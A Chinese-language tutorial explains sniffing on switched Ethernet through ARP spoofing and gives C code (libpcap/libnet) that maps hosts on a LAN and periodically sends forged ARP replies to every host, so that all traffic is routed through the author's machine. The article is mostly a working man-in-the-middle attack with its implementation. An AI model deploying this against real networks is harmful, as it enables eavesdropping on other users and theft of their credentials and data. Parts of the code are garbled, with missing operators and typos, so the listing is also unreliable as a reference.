交换型网络环境嗅探原理及LINUX下的实现

1. 以太网嗅探原理
以太网环境下的嗅探本身是比较简单的，只要网卡能设置成混杂模式且有数据包到达网卡，则可用多种方法捕捉数据包并进行各种协议分析。在Linux下可用RAW套接字， SOCK_PACKET套接字， LIBPCAP函数包等方法捕捉数据包，典型的应用程序如TCPDUMP ， LINUX_SNIFFER等。
在共享型以太网中，上述两个条件显然是满足的。所有的主机都连接到HUB ，而HUB对数据包传输形式是广播。这意味着发给某个主机的数据包也会被其它所有主机的网卡所收到。因此在这样的环境中，任何设置成混杂模式的主机，都可以捕捉发送给其它主机的数据包，从而窃听网络上的所有通信。
在交换型以太网中，上述条件2是不满足的。所有的主机连接到SWITCH ， SWITCH比HUB更聪明，它知道每台计算机的MAC地址信息和与之相连的特定端口，发给某个主机的数据包会被SWITCH从特定的端口送出，而不是象HUB那样，广播给网络上所有的机器。这种传输形式使交换型以太网的性能大大提高，同时还有一个附加的作用：使传统的嗅探器无法工作。
综上所述，交换型网络环境嗅探的核心问题是：如何使本不应到达的数据包到达本地。通常的方法有MAC洪水包和ARP欺骗。其中MAC洪水包是向交换机发送大量含有虚构MAC地址和IP地址的IP包，使交换机无法处理如此多的信息，致使交换机就进入了所谓的"打开失效"模式，也就是开始了类似于集线器的工作方式，向网络上所有的机器广播数据包。（具体实现请参阅Dsniff中的macof）本文中，我们将要具体分析ARP欺骗模式。
2. 相关协议数据包格式
以太数据包格式：
类型0800 ：IP数据包
类型0806 ：ARP数据包
ARP数据包格式：
ARP数据包简化格式
为了论述的简洁性，我们把ARP数据包格式做一些简化。目的端MAC地址源MAC地址 ARP包类型发送端MAC地址发送端IP地址目的端MAC地址目的端IP地址
3. 实验环境
为了更清楚的描述交换网络的嗅探原理，我们建立一个虚构的交换网络环境，在下面的论述中将用到这些数据.
　
4. ARP协议原理
在以太网中传输的数据包是以太包，而以太包的寻址是依据其首部的物理地址（MAC地址）。仅仅知道某主机的逻辑地址（IP地址）并不能让内核发送一帧数据给此主机，内核必须知道目的主机的物理地址才能发送数据。ARP协议的作用就是在于把逻辑地址变换成物理地址，也既是把32bit的IP地址变换成48bit的以太地址。
每一个主机都有一个ARP高速缓存，此缓存中记录了最近一段时间内其它IP地址与其MAC地址的对应关系。假如本机想与某台主机通信，则首先在ARP高速缓存中查找此台主机的IP和MAC信息，假如存在，则直接利用此MAC地址构造以太包；假如不存在，则向本网络上每一个主机广播一个ARP请求包，其意义是"假如你有此IP地址，请告诉我你的MAC地址" ，目的主机收到此请求包后，发送一个ARP响应包，本机收到此响应包后，把相关信息记录在ARP高速缓存中，以下的步骤同上。
可以看出， ARP协议是有缺点的，第三方主机可以构造一个ARP欺骗包，而源主机却无法分辨真假。
5. ARP欺骗原理
假设B(2.2.2.2)要与A(1.1.1.1)通信，且B的ARP高速缓存中没有关于A的MAC信息，则B发出ARP请求包。
此时， B的ARP高速缓存中关于A的记录为(1.1.1.104:04:04) ，则B向A发IP包实际上是发到我的主机(4.4.4.4 ， 04:04:04) 。同理，假如我进一步欺骗A ，让A的ARP高速缓存中关于B的记录为(2.2.2.204:04:04) ，则A向B发IP包实际上也是发到我的主机(4.4.4.4 ， 04:04:04) 。最后，我让本机打开数据包转发，也既是充当路由器，则A ， B之间能正常通信，但我能全部捕捉到相关数据。
以上讨论的是欺骗两台主机，假如我能让局域网中每一台主机的ARP高速缓存中关于其它任意一个主机所对应的MAC地址都为我的MAC地址(04:04:04:04) ，则本局域网中所有数据包我都能捕捉到!
6. 程序设计思路
使用到的函数包
libpcap : 捕捉ARP数据包。
libnet : 获得本机的MAC地址和IP地址；构造和发送ARP欺骗包。
这两个的函数包的使用在网上资料很多，本文中不介绍。
主要数据结构
程序中有两个全局变量， MYIP代表本机的IP地址， MYMAC代表本机的MAC地址。
程序中维护一个存放主机信息的链表：
typedef strUCt host HOST;
struct host
{
unsigned long　ip;　// IP地址
unsigned char　mac[6];　// MAC地址
int mac_flag;//　0：MAC为空， 1：MAC不为空
HOST　* next;
}；

把握本局域网中每一台主机的IP地址和MAC地址信息。
利用libpcap捕捉网络中的ARP请求/应答包，最大限度的提取相关信息。如在第五节中的B对A的ARP请求包，我们可以提取出关于B的完整信息（2.2.2.2 ， 02:02:02），也获得了关于A的部分信息（1.1.1.1 ， null）。在知道网络中有主机A的情况下，我们可以构造并发送对A的ARP请求包，捕捉A的ARP应答包，从而完整把握A的信息。同理，我们也可以捕捉TCP/UDP等数据包，从中提取信息。
创建一个向链表增加主机信息的函数：add_host(ip ， mac) ，每收到一个ARP请求/应答包，都执行add_host( )两次：add_host(发送端IP ，发送端MAC) ， add_host(目的端IP ，目的端MAC) 。
在收到ARP应答包时，首先检查发送端的IP和MAC ，假如IP不是自己的，但MAC是自己的，则说明此应答包是本机构造的ARP欺骗包，程序忽略。
对于正常的ARP请求包和应答包， add_host(ip ， mac )中IP或MAC只要有一个是自己的(ip == MYIPmac ==MYMAC) ，则程序忽略。显然，没有必要自己欺骗自己。
add_host(ip ， mac)遍历主机链表，假如IP存在，且MAC不空，则把MAC地址写入；假如不存在，则增加一个HOST节点，写入IP地址，假如MAC不空，则也把MAC地址写入。注重到这样一个情况：在ARP请求包中，目的MAC地址是没有意义的，所以我们只写入IP地址，而MAC地址用NULL来表示。这是我们收集网络拓朴结构的一种被动方法。
函数add_host( )逻辑设计MYIP = IP(d) ， MYMAC = MAC(d)
代码如下：
void add_host(u_long ip, u_char * mac)
{
HOST * new = NULL;
HOST * cur = NULL;
if( (ip == MYIP)(mac && mac_equal(mac, MYMAC)) )
return;
//遍历链表查询IP地址
for(cur = head; cur; cur = cur->next)
{
if( ip == cur->ip )
{
if( mac )　// MAC地址不空，则写入
{
memcpy(cur->mac, mac, ETHER_ADDR_LEN);
cur->mac_flag = 1;
}
return;
}
}
if(cur == NULL)　// 链表中没有此IP地址
{
new = (HOST *)malloc(sizeof(HOST));
new->ip = ip;
if( mac )
{
memcpy(new->mac, mac, ETHER_ADDR_LEN);
new->mac_flag = 1;
}
else
new->mac_flag = 0;
new->next = NULL;
if(! head) // 把新节点加入链表
{
head = new;
tail = new;
}
else
{
tail->next = new;
tail = new;
}　
}
return;
}

周期性的向局域网中每一台主机发送ARP欺骗包。
创建一个发送ARP欺骗包的函数send_fake_arp_packet() ，遍历主机链表的每一个IP地址，假如此IP地址的MAC地址已知，则遍历主机链表中其它IP地址，以其它IP地址和本机的MAC地址为发送端，以选中的IP地址和MAC地址为目的端，构造并发送ARP应答欺骗包；假如此IP地址的MAC地址未知，则以本机IP地址和MAC地址为发送端，以选中的IP地址为目的端，构造并发送正常的ARP请求包。注重，这是我们收集网络拓朴结构的一种主动方法。
ARP高速缓存中的记录都有过期时间，不同的操作系统有不同的设置.在实施中，我们只需以较短的时间周期性的发ARP欺骗包，则可解决这个问题.
代码如下：
void send_fake_arp_packet()
{
HOST * temp, * cur;
u_char broad[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

for(cur = head; cur ; cur = cur->next)
{
if( cur->mac_flag == 0)
{
// 构造ARP请求包请求此IP地址的MAC地址
libnet_build_ethernet(broad, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REQUEST,
MYMAC, (u_char *)&MYIP, (u_char *)broad,(u_char *)&cur->ip, NULL, 0, (packetLIBNET_ETH_H));
if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_HLIBNET_ARP_H))) < 0)
errexit("libnet_write_link_layer errorn");
continue;
}
for(temp = head; temp; temp = temp->next)
{
if (temp == cur)
continue;
libnet_build_ethernet(cur->mac, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
MYMAC, (u_char *)&temp->ip, cur->mac,(u_char *)&cur->ip, NULL, 0, (packetLIBNET_ETH_H));
if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_HLIBNET_ARP_H))) < 0)
errexit("libnet_write_link_layer errorn");
}
}
}

正确处理一个以太包实际被捕捉两次的情况。例如：捕捉到B发向A的以太包，第一次为（2.2.2.2 ， 02:02:02）->(1.1.1.1 ， 04:04:04) ，第二次为(2.2.2.2 ， 04:04:04)->(1.1.1.1 ， 01:01:01) 。区分这两次捕捉的规则很简单：目标IP 不为本IP且目标MAC为本MAC就是第一次；源IP不为本IP且源MAC为本MAC就是第二次。在实际处理中，可任取一种包并把源/目的MAC改写，对另一种包忽略即可。
7. 相关说明
这种ARP欺骗是以主机的ARP高速缓存可以动态改变为前提的，假如ARP高速缓存中某一IP的MAC地址被设为静态(static) ，则对关于此IP的欺骗是显然不成立的。
为了尽快的把握网络中主机的地址信息，应至少对ARP请求包和ARP应答包都处理。假如只处理ARP请求包，则在此刻只能把握发端主机的信息，并只能欺骗发端主机。在实际的IP包捕捉中，就会看到单边数据包。当然，在程序运行一段时间后，所有主机信息也能全部把握，但效率显然是不高的。假如再加上对未知MAC的IP的主动请求，则捕捉所有数据包可在较短时间内完成。（在实际的C类网中测试，不到一分钟）